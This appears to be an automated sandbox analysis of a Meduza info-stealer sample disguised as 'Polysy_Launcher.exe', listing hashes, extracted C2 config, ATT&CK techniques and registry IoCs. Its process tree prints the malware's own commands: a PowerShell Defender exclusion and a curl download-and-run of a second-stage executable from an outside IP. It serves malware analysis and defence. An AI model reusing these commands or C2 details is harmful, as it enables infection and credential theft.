meduza | 86c5fbaec4886b844cbcf2376968430ecbd7a9b51dcf09fc9fe954b49fe6fe53

Resubmissions

07/03/2025, 03:43

250307-ead1pas1d1 10

Analysis

max time kernel
145s
max time network
154s
platform
windows10-2004_x64
resource
win10v2004-20250217-en
resource tags

arch:x64arch:x86image:win10v2004-20250217-enlocale:en-usos:windows10-2004-x64system
submitted
07/03/2025, 03:43

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General

Target

Polysy_Launcher.exe
Size

201KB
MD5

2696d944ffbef69510b0c826446fd748
SHA1

e4106861076981799719876019fe5224eac2655c
SHA256

a4f53964cdddcccbd1b46da4d3f7f5f4292b5dd11c833d3db3a1e7def36da69a
SHA512

c286bc2da757cbb2a28cf516a4a273dd11b15f674d5f698a713dc794f013b7502a8893ab6041e51bab3cdd506a18c415b9df8483b19e312f8fcb88923f42b8eb
SSDEEP

3072:gyOSSX7XA5RwkP10/Cg+ufLLobyT9S9jHkQPEZS0bGAPo:tEXjA5yBF+ma9jHfPITGb

Score

10^/10

meduza 2 collection discovery execution spyware stealer

Malware Config

Extracted

Family

meduza

Botnet

45.93.20.15

Attributes

anti_dbg
true
anti_vm
true
build_name
2
extensions
.txt; .doc; .xlsx
grabber_maximum_size
4194304
port
15666
self_destruct
false

Signatures

Meduza
Meduza is a crypto wallet and info stealer written in C++.
stealer meduza

Meduza Stealer payload 1 IoCs

resource	yara_rule
behavioral9/files/0x000e000000023c07-50.dat	family_meduza

Meduza family
meduza

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
3872	powershell.exe

Downloads MZ/PE file 1 IoCs

flow	pid	Process
24	3132	curl.exe

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1170604239-850860757-3112005715-1000\Control Panel\International\Geo\Nation	Polysy_Launcher.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1170604239-850860757-3112005715-1000\Control Panel\International\Geo\Nation	2.exe

Executes dropped EXE 1 IoCs

pid	Process
4372	2.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Accesses Microsoft Outlook profiles 1 TTPs 5 IoCs

collection

Email Collection

T1114

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-1170604239-850860757-3112005715-1000\SOFTWARE\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	2.exe
Key opened	\REGISTRY\USER\S-1-5-21-1170604239-850860757-3112005715-1000\SOFTWARE\Microsoft\Office\12.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	2.exe
Key opened	\REGISTRY\USER\S-1-5-21-1170604239-850860757-3112005715-1000\SOFTWARE\Microsoft\Office\14.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	2.exe
Key opened	\REGISTRY\USER\S-1-5-21-1170604239-850860757-3112005715-1000\SOFTWARE\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	2.exe
Key opened	\REGISTRY\USER\S-1-5-21-1170604239-850860757-3112005715-1000\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	2.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Looks up external IP address via web service 2 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
27	api.ipify.org
28	api.ipify.org

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 4 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Polysy_Launcher.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
3872	powershell.exe
3872	powershell.exe
4372	2.exe
4372	2.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	3872	powershell.exe
Token: SeDebugPrivilege	4372	2.exe
Token: SeImpersonatePrivilege	4372	2.exe

Suspicious use of SetWindowsHookEx 3 IoCs

pid	Process
3044	Polysy_Launcher.exe
3044	Polysy_Launcher.exe
3044	Polysy_Launcher.exe

Suspicious use of WriteProcessMemory 14 IoCs

description	pid	Process	procid_target
PID 3044 wrote to memory of 212	3044	Polysy_Launcher.exe	88
PID 3044 wrote to memory of 212	3044	Polysy_Launcher.exe	88
PID 3044 wrote to memory of 212	3044	Polysy_Launcher.exe	88
PID 212 wrote to memory of 3872	212	cmd.exe	90
PID 212 wrote to memory of 3872	212	cmd.exe	90
PID 212 wrote to memory of 3872	212	cmd.exe	90
PID 3044 wrote to memory of 3568	3044	Polysy_Launcher.exe	93
PID 3044 wrote to memory of 3568	3044	Polysy_Launcher.exe	93
PID 3044 wrote to memory of 3568	3044	Polysy_Launcher.exe	93
PID 3568 wrote to memory of 3132	3568	cmd.exe	95
PID 3568 wrote to memory of 3132	3568	cmd.exe	95
PID 3568 wrote to memory of 3132	3568	cmd.exe	95
PID 3568 wrote to memory of 4372	3568	cmd.exe	98
PID 3568 wrote to memory of 4372	3568	cmd.exe	98

outlook_office_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-1170604239-850860757-3112005715-1000\SOFTWARE\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	2.exe

outlook_win_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-1170604239-850860757-3112005715-1000\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	2.exe

C:\Users\Admin\AppData\Local\Temp\Polysy_Launcher.exe
"C:\Users\Admin\AppData\Local\Temp\Polysy_Launcher.exe"
1⤵
- Checks computer location settings
- System Location Discovery: System Language Discovery
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3044
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c powershell -Command "Add-MpPreference -ExclusionPath 'C:\Windows\Temp\2.exe'"
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:212
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "Add-MpPreference -ExclusionPath 'C:\Windows\Temp\2.exe'"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3872
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c cd C:\Windows\Temp\ & curl -o 2.exe http://147.45.44.170/2.exe & start 2.exe
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:3568
- - C:\Windows\SysWOW64\curl.exe
    curl -o 2.exe http://147.45.44.170/2.exe
    3⤵
    - Downloads MZ/PE file
    PID:3132
- - C:\Windows\Temp\2.exe
    2.exe
    3⤵
    - Checks computer location settings
    - Executes dropped EXE
    - Accesses Microsoft Outlook profiles
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - outlook_office_path
    - outlook_win_path
    PID:4372

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Data from Local System

T1005

Email Collection

T1114

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_barwu1f4.lzj.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Windows\Temp\2.exe

Filesize
1.2MB

MD5
3bafe0cfe2e97b14b8b62c7abab1bf6d

SHA1
ad09524594ba57695250877ca0dd772cd5687685

SHA256
c21c41247a73b4b6c05564ec315f77a6620939e9a3b1d59936d18f997d6195d5

SHA512
232c57ba7908855e1bc07d6f1f25b93633c067be0039806301db598da6b72f19cdde46bfca1530757e6811890acaf0879e6876b89c4bc6417cce493773e90c47

Download Submit
memory/3872-21-0x000000006F440000-0x000000006F48C000-memory.dmp

Filesize
304KB

Download
memory/3872-42-0x00000000077F0000-0x0000000007804000-memory.dmp

Filesize
80KB

Download
memory/3872-4-0x0000000072B80000-0x0000000073330000-memory.dmp

Filesize
7.7MB

Download
memory/3872-5-0x00000000053D0000-0x00000000053F2000-memory.dmp

Filesize
136KB

Download
memory/3872-33-0x0000000007480000-0x0000000007523000-memory.dmp

Filesize
652KB

Download
memory/3872-7-0x00000000055E0000-0x0000000005646000-memory.dmp

Filesize
408KB

Download
memory/3872-3-0x00000000056A0000-0x0000000005CC8000-memory.dmp

Filesize
6.2MB

Download
memory/3872-17-0x0000000005EC0000-0x0000000006214000-memory.dmp

Filesize
3.3MB

Download
memory/3872-18-0x00000000062A0000-0x00000000062BE000-memory.dmp

Filesize
120KB

Download
memory/3872-19-0x00000000062C0000-0x000000000630C000-memory.dmp

Filesize
304KB

Download
memory/3872-22-0x0000000072B80000-0x0000000073330000-memory.dmp

Filesize
7.7MB

Download
memory/3872-32-0x0000000006860000-0x000000000687E000-memory.dmp

Filesize
120KB

Download
memory/3872-2-0x0000000072B80000-0x0000000073330000-memory.dmp

Filesize
7.7MB

Download
memory/3872-0-0x0000000072B8E000-0x0000000072B8F000-memory.dmp

Filesize
4KB

Download
memory/3872-6-0x0000000005570000-0x00000000055D6000-memory.dmp

Filesize
408KB

Download
memory/3872-34-0x0000000072B80000-0x0000000073330000-memory.dmp

Filesize
7.7MB

Download
memory/3872-36-0x0000000072B80000-0x0000000073330000-memory.dmp

Filesize
7.7MB

Download
memory/3872-35-0x0000000007C00000-0x000000000827A000-memory.dmp

Filesize
6.5MB

Download
memory/3872-37-0x00000000075B0000-0x00000000075CA000-memory.dmp

Filesize
104KB

Download
memory/3872-38-0x0000000007620000-0x000000000762A000-memory.dmp

Filesize
40KB

Download
memory/3872-39-0x0000000007830000-0x00000000078C6000-memory.dmp

Filesize
600KB

Download
memory/3872-40-0x00000000077B0000-0x00000000077C1000-memory.dmp

Filesize
68KB

Download
memory/3872-41-0x00000000077E0000-0x00000000077EE000-memory.dmp

Filesize
56KB

Download
memory/3872-20-0x0000000007240000-0x0000000007272000-memory.dmp

Filesize
200KB

Download
memory/3872-43-0x00000000078F0000-0x000000000790A000-memory.dmp

Filesize
104KB

Download
memory/3872-44-0x00000000078D0000-0x00000000078D8000-memory.dmp

Filesize
32KB

Download
memory/3872-1-0x0000000002940000-0x0000000002976000-memory.dmp

Filesize
216KB

Download
memory/3872-51-0x0000000072B80000-0x0000000073330000-memory.dmp

Filesize
7.7MB

Download